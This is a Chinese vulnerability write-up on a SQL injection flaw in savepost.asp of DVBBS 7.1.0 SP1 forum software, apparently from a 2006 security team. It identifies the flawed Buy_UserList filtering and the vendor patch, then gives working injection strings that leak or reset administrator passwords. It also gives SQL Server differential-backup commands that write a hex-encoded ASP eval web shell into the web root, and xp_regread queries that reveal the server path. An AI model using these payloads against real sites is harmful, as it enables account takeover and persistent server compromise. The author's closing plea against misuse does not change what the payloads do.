动网论坛(DVBBS7.1.0SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS7.1.0SP1
漏洞分析:
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布
厂商补丁:
看到下面:
------------------------------
IfNotIsNumeric(Buy_VIPType)ThenBuy_VIPType=0
IfBuy_UserList<>""ThenBuy_UserList=Replace(Replace(Replace(Buy_UserList,"|||","","")
ToolsBuyUser="|||"
GetMoneyType=3
'UseTools=ToolsInfo(4)
------------------------------------
再朝下看:
PublicSubInsert_To_Announce()
'插入回复表
DIMUbblistBody
UbblistBody=Content
UbblistBody=Ubblist(Content)
SQL="insertinto"&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType)values("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)
可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。
看源代码:
-------------------------------------
<optionvalue="">选择帖子类型</option>
<optionvalue="0">赠送金币贴</option>
<optionvalue="1">获赠金币贴</option>
<optionvalue="2">论坛交易帖设置</option>
</select>
金币数量:<inputname="ToMoney"size="4"value="">
<divid="Buy_setting"style="display:none">
购买数量限制:<inputname="Buy_Orders"size="4"value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUTTYPE="radio"NAME="Buy_VIPType"value="0"checked="checked">,需要购买<inputtype="radio"name="Buy_VIPType"value="1"/><br/>
可购买用户名单限制:<inputname="Buy_UserList"size="30"value=""/>(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
-------------------------------------
就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
xjy111',0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='yellowcat')/**/where[UserName]='qq156544632';--
提交成功。
看看我的Email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:
coolidea|||123',0);update/**/Dv_User/**/set/**/UserPassword='469e80d32c0559f8'/**/where[UserName]='qq156544632';--
这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):
createtableaspshell(strimage);
declare@asysnameselect@a=db_name()backupdatabase@atodisk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;
insertintoaspshellvalues(0x3C256576616C20726571756573742822232229253E);
declare@asysnameselect@a=db_name()backupdatabase@atodisk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp'withdifferential;
droptableaspshell;
另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
createtableregread(avarchar(255),bvarchar(255));
(建立一个临时表,存放读取到的信息)
insertregreadexecmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\VirtualRoots','/'
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
updatedv_boke_usersetboketitle=(selecttop1bfromregread)wherebokename='admin'
至于acess版本没有研究。
[至于工具,实在没必要写,因为利用起来很简单,把所利用的注入语句复制粘贴一下就可以了。对于动网SQL版,我感觉危害比当初的上传漏洞还要严重,因为操作起来很方便。希望大家本着一种学习技术的心态,不要对存在漏洞的站点实施破坏攻击!!!——Kendy]